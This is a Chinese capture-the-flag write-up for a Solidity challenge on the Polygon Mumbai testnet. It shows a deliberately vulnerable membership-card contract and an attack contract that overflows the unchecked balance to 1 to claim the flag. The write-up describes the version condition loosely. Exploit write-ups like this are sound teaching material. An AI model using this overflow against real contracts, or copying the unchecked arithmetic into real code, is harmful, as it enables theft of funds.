跳转至

年终奖

1.题目

坏消息:公司只给你发了一张超市的会员卡作为年终奖

好消息:余额有114514元

坏消息:只能用来购买一块钱的糖,一次只能买一个

好消息:余额只剩1元时可以获得名为flag的神秘大奖

兑奖地址:nc xx.xx.xx.xx xxxx

智能合约部署网络为Polygon Mumbai

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

contract VipCard {
    mapping(address => uint) public balances;

    function applyCard() public {
        balances[msg.sender] = 114514;
    }

    function topUp(uint _amount) public {
        balances[msg.sender] += _amount;
    }

    function buyCandy() public {
        require(balances[msg.sender] > 0, "not sufficient funds");
        balances[msg.sender] -= 1;
    }
}

2.思路

solidity版本>0.7.0,考虑整数溢出漏洞

编写智能合约调用topUp进行余额充值,充值数量为uint类型最大值加2减去当前余额,即可将余额溢出为1

由于题目部署在Polygon Mumbai,则需要用metamask钱包创建账户并添加Polygon Mumbai网络,去网络寻找Faucet获得测试币,并用Remix在线IDE连接钱包部署攻击用的智能合约,攻击完成后将合约地址输入到nc xx.xx.xx.xx xxxx即可获得flag

3.解题脚本

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "vipCard.sol";
contract Attack {

    VipCard vipcard;

    constructor(VipCard _vipcard){
        vipcard = VipCard(_vipcard);
    }

    function attack() public {
        vipcard.applyCard();
        vipcard.topUp(type(uint).max + 2 - 114514);
    }
}